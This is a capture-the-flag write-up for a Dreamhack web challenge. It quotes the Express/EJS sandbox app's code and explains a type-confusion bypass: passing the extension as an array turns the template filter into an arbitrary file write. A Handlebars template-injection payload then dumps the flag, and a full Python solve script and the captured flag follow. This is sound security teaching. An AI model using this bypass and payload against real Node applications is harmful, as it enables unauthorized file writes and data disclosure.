We are given a webapp that creates sandboxes with EJS templates.
The templates are rendered with the flag as a variable.
app.get('/:sandboxPath/:filename', authMiddleware, (req,res)=>{
try {
res.render(`sandbox/${req.params.sandboxPath}/${req.params.filename}`, {flag});
} catch {
res.status(404).send('Not found.');
}
});However, the base template for the sandboxes doesn't contain a reference to flag anywhere, meaning we don't have a direct way of rendering the flag yet.
<html>
<head>
<!-- Latest compiled and minified CSS -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css" integrity="sha384-HSMxcRTRxnN+Bdg0JdbxYKrThecOKuH5zCYotlSAcp1+c8xmyTe9GYg1l9a69psu" crossorigin="anonymous">
<!-- Optional theme -->
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap-theme.min.css" integrity="sha384-6pzBo3FDv/PJ8r2KRkGHifhEocL+1X2rVCTTkUfGk7/0pbek5mMa1upzvWbrUbOZ" crossorigin="anonymous">
<!-- Latest compiled and minified JavaScript -->
<script src="https://stackpath.bootstrapcdn.com/bootstrap/3.4.1/js/bootstrap.min.js" integrity="sha384-aJ21OjlMXNL5UyIl/XNwTMqvzeRMZH2w8c5cRVpzpU8Y5bApTppSuUkhZXN0VxHd" crossorigin="anonymous"></script>
</head>
<body>
<div class="container">
<div class="page-header text-center">
<h1>Workspace</h1>
<p class="lead">Make your page!</p>
</div>
<div>
<div>
<input type="text" class="form-control" id="title" placeholder="nonamed">
</div>
<div>
<textarea class="form-control" rows="10" placeholder="Hello World :)" id="contents"></textarea>
</div>
<div class="text-right">
<button class="btn btn-primary form-control" id="make">Make</button>
</div>
</div>
</div>
<script>
$('#make').click(()=>{
let contents = $('#contents').val();
let filename = $('#title').val();
let data = {
contents,
filename
};
let options = {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
};
fetch(location.pathname, options).then(res=>res.json()).then((res)=>{
if(res.result === true){
location.href=res.path;
} else {
alert('Failed.');
}
});
});
</script>
</body>
</html>The backend actually allows us to choose from a list of templates, but implements filters to restrict the filename of the template.
However, we can notice that only the filename field has its datatype validated, but for the ext field, the filter only checks the length and if it contains .ejs.
app.post('/:sandboxPath', authMiddleware, (req, res)=>{
let saveOptions = {}
let isChecked = true;
let path = '';
merge(saveOptions, options)
merge(saveOptions, req.body)
if(saveOptions.filename === undefined || saveOptions.contents === undefined ||
typeof saveOptions.filename !== 'string' || typeof saveOptions.contents !== 'string')
isChecked = false
if(!saveOptions.ext.includes('.ejs') || saveOptions.ext.length !== 4) isChecked = false;
if(isChecked) {
let filename = saveOptions.filename || 'noname';
filename += saveOptions.ext
let body = saveOptions.contents;
if(utils.sanitize(body)){
let uploadPath = `./views/sandbox/${req.params.sandboxPath}/${filename}`;
if(!fs.existsSync(uploadPath)){
fs.writeFile(uploadPath, body, (err)=>{
if(err) {
console.log(`[!] File write error: ${uploadPath}`);
isChecked = false
}
console.log(`[*] Created ${uploadPath} by ${req.ip} (endpoint: ${req.params.sandboxPath})`);
});
} else {
isChecked = false
}
} else {
isChecked = false
}
}
if(isChecked) path = `/${req.params.sandboxPath}/${saveOptions.filename}`;
let result = {
result: isChecked,
path
};
return res.json(result)
});However, the backend also implements a blacklist that filters the flag keyword and prevents us from writing EJS tags.
const sanitize = (body)=>{
reuslt = true
tmp = body.toLowerCase()
if(tmp.includes('<') || tmp.includes('>')) return false
if(tmp.includes('flag')) return false
return true
}Looking at package.json, we can actually notice that the server installs the Handlebars templating module alongside EJS, but is never used.
{
"dependencies": {
"body-parser": "^1.19.0",
"ejs": "^3.1.6",
"express": "^4.17.1",
"hbs": "^4.1.1",
"morgan": "^1.10.0"
}
}The server also allows us to pass inputs as JSON, meaning we aren't constrained to string input fields.
app.use(bodyParser.json());
app.use(morgan('common'))
app.set('view engine', 'ejs');Going back to the file creation functionality, if we pass in the extension as an array, we can bypass the .ejs requirement.
This gives us a file write with an arbitrary extension, and we can actually write a Handlebars template file which the server will render.
Handlebars syntax uses {{}} for blocks, allowing us to bypass the filter in sanitize() to render the flag.
filename: ./
ext: ['', '', '.ejs', '.hbs'] // ./views/<sandbox>/./,,.ejs.hbsNow that we are able to get code execution, we need to find a way to actually reference flag, since Handlebars is a logic-less templating engine with a pretty restrictive syntax.
We can iterate through all the keys in the this object and only render keys with the .substring() method, which will narrow it down to the flag string variable.
{{#each this}}{{#if this.substring}}{{this}}{{/if}}{{/each}}Below is my full solve script for this challenge.
import requests
url = "http://host3.dreamhack.games:15159"
s = requests.Session()
# create sandbox
res = s.get(url)
sandbox = res.url.split('/')[-1]
print("Sandbox:", sandbox)
# ssti
filename = ['', '', '.ejs', '.hbs']
payload = '{{#each this}}{{#if this.substring}}{{this}}{{/if}}{{/each}}'
res = s.post(f"{url}/{sandbox}", json={
'filename': './',
'ext': filename,
'contents': payload
})
if res.json()['result']:
print("> Payload uploaded")
res = s.get(f'{url}/{sandbox}/{','.join(filename)}')
print("Flag:", res.text)Flag: DH{fef7058acaad3f3807ad0a1d68f28a9de79df029}